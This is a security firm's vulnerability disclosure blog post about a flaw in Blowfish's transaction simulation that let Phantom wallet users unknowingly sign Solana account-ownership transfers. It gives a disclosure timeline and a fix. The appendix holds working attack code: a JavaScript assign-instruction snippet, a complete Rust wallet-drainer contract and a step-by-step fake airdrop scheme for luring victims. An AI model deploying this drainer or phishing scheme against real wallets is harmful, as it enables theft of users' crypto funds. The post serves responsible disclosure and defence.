Home - Coinspect Security
phantom

Unveiling Transaction Simulation Challenges: Blowfish Case Study

Head of SDLC Reinforcement
Wallets, Solana

As part of our ongoing wallet security initiative, we recently evaluated how Solana support is implemented, uncovering several findings on popular vendors. In this blog post, we present a critical vulnerability identified on web3 security infrastructure provider, Blowfish. We discuss the challenges of transaction simulation, and how issues of this nature can create a false sense of security, potentially resulting in unforeseen consequences or losses in digital assets.

See also the previous post on the wallet research initiative, EIP-712 implementation issue impacting 40+ vendors

Summary

When you use a decentralized application (DApp) you need to sign transactions, authorizing the application to use your crypto assets. However, spotting potential threats within these transactions’ data can be difficult. That’s why a new feature, transaction simulation, was developed by web3 players.

Wallets can simulate the execution of a transaction to clarify what will happen with your assets, before you sign it.

Blowfish is an infrastructure service, providing a set of defenses for web3 wallets, including transaction simulation.

We found a critical oversight of a particular Solana’s capability while simulating this feature: it failed to identify when you were giving away your account ownership to attackers. Phantom, a user of the 3rd-party service, was affected and had no backup plan to display the user the full details of the transaction if the simulation failed. Therefore, like with any new security measure, vendors must engage security experts to rigorously test it, thinking like potential attackers to identify and fix any vulnerabilities.

You can see the attack demonstration here. Or continue reading, for details.

Wallets’ UX and Transaction Simulations

A sharp UX is key to ensure that wallet users clearly understand how transactions requested by DApps will impact their digital assets, enabling them to make well-informed decisions. However, given the complexity of blockchain technologies, engineering such a user experience is no simple task.

Traditionally, wallets are expected to decode transactions and display key parameters and data being signed. Proper displaying of the transaction’s content is the minimum to prevent users from “blind signing”, but it is not sufficient. For instance, when users interact with potentially malicious DApps and cannot easily analyze how transactions will impact their crypto assets. Developers have come up with valuable solutions to this problem, among them, transaction simulations.

A wallet using transaction simulation not only displays the transaction data, it also simulates its execution to analyze the effects on the blockchain state. For example, if a DApp requests to sign a transaction that is said to transfer a number of tokens to the user’s wallet, the simulation can validate that that is precisely the case. If there are unexpected changes, it immediately alerts the user of malicious activities.

The simulation results are then used to show crypto asset ownership changes in a user-friendly way.

Transaction Simulation Challenges

Transaction simulation, featuring comprehensible asset changes, and malicious behavior detection, should finally create a secure user experience, right? Well, there are caveats.

A game of cat and mouse

Researchers at Opcodes and ZenGo have been able to mount attacks that detect transaction execution in a simulated environment to deceive analysis. This strategy is widely used by malware, leveraging system-level operations or measuring memory access time, to detect virtualization.

Once a malicious contract detects the simulation, it can fake good behavior, bypassing the wallet protections provided.

SPOF as a Service

Implementing simulations isn’t trivial. For such, wallet vendors are choosing to outsource this feature to 3rd-parties. Platforms like Blowfish and Alchemy engineer solutions and provide API endpoints that can be used by different web3 players, such as wallet vendors. Although this comes handy to the software manufacturers, centralizing critical security mechanisms poses a great risk: single point of failure (SPOF).

A vulnerability that affects one of the few simulation providers will immediately affect dozens of wallet vendors, potentially impacting millions of users.

Mind the gap between the train and the station

Blowfish’s simulation results carry a rich set of data:

simulation data

This information is typically used to create the wallets’ UX that follows the transaction.

Screenshot of blowfish UI

Now what happens if an attacker can bypass transaction simulation and leverage results to manipulate the wallet’s UX?

The Phantom Case

Our research on transaction simulations revealed a significant vulnerability in the Phantom wallet. This case underscores the critical importance of thoroughly testing security features in wallets, especially those that rely on third-party services.

The assign instruction

Solana’s account model supports ownership. When created, by default, an account is owned by Solana’s runtime System Program. The account model allows ownership transfer of accounts, by the assign instruction. A transaction containing that instruction, signed by the account’s private key, will transfer its ownership to a smart contract specified in the instruction parameters.

Transaction Simulation & UX Manipulation

During our research, we found that Phantom’s transaction simulation failed to detect account ownership transfers.

HTTP request and response for a Solana transaction, showing no changes detected

The transaction simulated above, whose expected state changes were none, contained the following code:

 let instruction = web3.SystemProgram.assign({
    accountPubkey: accounts[0], // Wallet
    programId: takeOverId
  });
  transaction.add(instruction);
  transaction.sign(promotAccount);

We noticed that the simulation failure directly impacted the UX, which did not mention any reference to the assign instruction present in the transaction. Actually, the wallet communicated the opposite, creating a false sense of security and misguiding the user:

Approve transaction 1

This already poses a significant risk, as the users would not be aware of a transaction that could potentially compromise their account.

But we wanted to see how we could use the simulation failure to our advantage, to manipulate the user experience and increase the attack’s impact. For instance, if other instructions were added to the transaction, such as a transfer, the simulation detected only these funds being sent, inducing the wallet to say nothing about asset ownership changes:

Approve transaction 2

What if a malicious DApp is sending funds to the user’s wallet, instead, but hiding an assign instruction that transfers ownership from the wallet to an attacker-controlled smart contract?

Approve transaction 3

Now the user is informed that he is receiving 1 SOL + network fees. This is great, we can completely toy with the UX!

Notice that this category of issues has a higher impact than simulation detection attacks:

  • It requires no interaction with smart contracts
  • Contract scanning tools can detect malicious behavior in such cases

This issue could have been prevented if the transaction content was properly parsed and validated against the simulation results, determining that an assign instruction was present in the payload.

Conclusion

As demonstrated in this post, crypto wallets face difficult challenges with having secure user experiences. Valuable improvements are being made. However, the industry is still building the basic blocks – there is a lot of ground yet to be paved.

Wallet vendors must have a fallback plan for transaction simulations to create secure user experiences. Third-party providers must not be the main strategy to integrate critical security features

The design and implementation of transaction simulations should be performed by security professionals, and audited by specialists.

Luckily, we found and reported this issue before another popular Solana wallet integrated Blowfish’s solution to their users.

Disclosure timeline

April 5: Coinspect reported the vulnerability to Phantom

April 6: Phantom’s security team answered to the report, confirming the high severity issue

April 7: Phantom deployed a fix, validated by Coinspect

We would like to thank Phantom’s security team for a quick response and for the efforts to create a more secure user experience for the community.

Proof-of-Concept

Coinspect has created a proof-of-concept to demonstrate the attack. The repository contains instructions to set up the test environment and perform the test: https://github.com/coinspect/solana-assign-test


APPENDIX—Taking Over Solana wallets

To demonstrate the attack scenario, we use Phantom’s transaction simulation failure to lure the victim. This puts focus where the attacker wants: the Receive 1 SOL message, shifting the victim’s attention from the concealed assign instruction.

The attack is then performed in three stages:

1. Deployment of a smart contract containing the logic to deduct funds from the victim’s account, adding these funds to a third account, also owned by the attacker:

use solana_program::{
    account_info::{next_account_info, AccountInfo},
    entrypoint,
    entrypoint::ProgramResult,
    msg,
    program_error::ProgramError,
    pubkey::Pubkey,
};

entrypoint!(process_instruction);

pub fn process_instruction(
    program_id: &Pubkey,
    accounts: &[AccountInfo],
    instruction_data: &[u8],
) -> ProgramResult {
    let accounts_iter = &mut accounts.iter();

    let owned_account = next_account_info(accounts_iter)?;
    let owner = next_account_info(accounts_iter)?;
    let lamports = owned_account.lamports();

    msg!("Owned Account: {:?}", owned_account);
    msg!("Attacker's Account : {:?}", owner);

    if owned_account.owner != program_id {
        msg!("This account is not owned by the program");
        return Err(ProgramError::IncorrectProgramId);
    }

    // Drain the wallet
    **owned_account.lamports.borrow_mut() -= lamports;
    **owner.lamports.borrow_mut() += lamports;

    msg!(
        "Transferred {:?} lamports from the owned account to the attacker",
        lamports
    );

    Ok(())
}

Notice that to send native Solana via the transfer instruction, the source account must be owned by System Program, which breaks our attack’s mechanics. To workaround, we use a third account and transfer the assets by updating the accounts’ states directly. This trick is also neat, since we bypass minimum rent fees required to keep the victim’s account alive, draining the wallet completely.

2. AirDrop campaign / account takeover: transaction where the user receives a donation of 1 SOL + transfer ownership from the victim’s account to the attacker-controlled smart contract

3. At the appropriate time, the attacker drains all wallet’s funds (or all wallets that adhered to the campaign), without their awareness

The Attack

1. Attacker starts a campaign on Twitter and popular Solana Discord channels, announcing the release of a new token: the Coconut Token

2. To create mass adoption, the campaign promises to give 1 SOL, pay for the AirDrop fees, and provide Coconut Tokens to its users

3. Victims see the advertisement and connect their wallets to the DApp

DApp interface showing connection to Phantom wallet

4. The victim sees the estimated changes, as promised, transferring 1 SOL + paid fees, and approves the transaction – without seeing the concealed assign instruction

Phantom wallet interface showing transaction approval with 1 SOL transfer

5. The victim receives the funds…

Phantom wallet interface showing successful receipt of 1 SOL

However, their wallet’s account is now owned by the attacker’s smart contract

Solana Explorer showing the wallet's new owner as the attacker's smart contract

6. At the appropriate time, the attacker makes a call to the contract

Solana Explorer showing the attacker's transaction calling the malicious contract

7. Draining the victim’s wallet completely

Solana Explorer showing the victim's wallet balance reduced to zero`

Luckily, in this case, this victim’s wallet was originally empty. So, the attackers only got back their funds. But this could have been an entirely different story, for targeted wallets holding large funds.